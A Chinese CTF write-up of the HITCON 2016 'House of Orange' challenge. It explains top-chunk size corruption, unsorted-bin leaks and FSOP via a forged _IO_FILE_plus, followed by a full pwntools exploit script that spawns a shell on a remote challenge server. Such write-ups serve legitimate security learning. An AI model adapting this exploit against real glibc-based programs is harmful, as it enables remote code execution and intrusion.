houseoforange_hitcon_2016 House of orange

这个题可真是经典,甚至连方法都是来源于此
看了看
houseoforange_hitcon_2016 House of orange
防御全开
看看函数
houseoforange_hitcon_2016 House of orange
根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址
但是如果我们申请的chunk大小比top chunk大,这里需要满足几个条件:
topchunk size > MINSIZE(0x10)
top chunk inuse位为1
修改之后的 size 必须要对齐到内存页
我们add函数大小和次数都有限制,所以我们要修改top chunk的size位,使其进入unsorted bins。
还涉及了sfoa的知识
在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,其中_chain指向下一个_IO_FILE_plus结构体
在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp。
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了。

利用部分

申请一个小堆,把top chunk的大小改一下。申请一个较大的house(此时原来的topchunk被释放进unsorted bin),再申请一个large bin范围内的house(切割unsorted bin),利用该house 泄露libc和堆地址。伪造unsorted bins和_IO_FILE_plus。malloc触发错误,获得shell
exp

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *$rebase(0x13CB)
	c
	x/10gx $rebase(0x203068)
	''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')

def add(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('1')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name :")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))


def show():
	r.recvuntil("Your choice : ")
	r.sendline('2')

def edit(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('3')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name:")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()


多亏L.o.W师傅

上一篇:《Learning to Answer Complex Questions over Knowledge Bases with Query Composition》论文笔记


下一篇:c/c++的小知识点:并查集